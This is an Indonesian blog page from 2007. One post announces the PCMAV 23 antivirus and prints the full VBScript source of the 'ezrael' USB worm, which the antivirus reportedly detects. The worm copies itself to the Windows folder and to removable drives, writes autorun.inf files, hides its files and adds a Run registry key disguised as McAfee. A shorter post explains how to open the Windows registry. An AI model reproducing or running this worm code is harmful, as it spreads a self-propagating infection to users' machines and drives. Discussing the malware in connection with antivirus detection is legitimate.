Pages


. HOME . TIPS & TRIKS . DOWNLOAD . CUMA_GORESAN .


Jumat, 28 Desember 2007

PC MAV23

PCMAV 23 sebenarnya udah keluar awal desember tapi saya baru upload sekarang

tapi lumayan ni anti virus, walupun masih da beberapa kekurangan

tapi untuk virus 'ezrael' yang punya script :



on error resume nextRem 121206, do u still remember dis day us_3?Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd:atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Win32.dll.vbs":Set fs = CreateObject("Scripting.FileSystemObject"): Set mf = fs.getfile(Wscript.ScriptFullname): Dim text, size: size = mf.size: check = mf.drive.drivetype: Set text = mf.openastextstream(1, -2)Do While Not text.atendofstream: src=src&text.readline: src = src & vbCrLf: LoopDo: Set winpath = fs.getspecialfolder(0): Set tf = fs.getfile(winpath & "\Win32.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(winpath & "\Win32.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(winpath & "\Win32.dll.vbs"): tf.Attributes = 39For Each flashdrive In fs.drivesIf (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then: Set tf = fs.getfile(flashdrive.Path & "\Win32.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\Win32.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\Win32.dll.vbs"): tf.Attributes = 39: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True): tf.write atr: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 39: End IfNextSet rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\Win32.dll.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Fuck USA & EZRAEL! [Can Dajjal Come Out And Play ?!]": rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2"If check <> 1 Then Wscript.sleep 200000Loop While check <> 1: Set sd = CreateObject("Wscript.shell"): sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname


cob aaja kayanya langsung kena


silakan download PCMAV23

Sabtu, 22 Desember 2007

register

buat temen-temen khusunya D3 TKJ
saya punya sedikit informasi mengenai Regiter, yah cuma buat sedikit pembelajaran
register merupakan sekumpulan perintah/registrasi dari sebuah program
gampang cara bukanya

klik Start > Run > tulis Regedit trus enter

ni ada sedikit tutorial punyanya si Abe

Download disini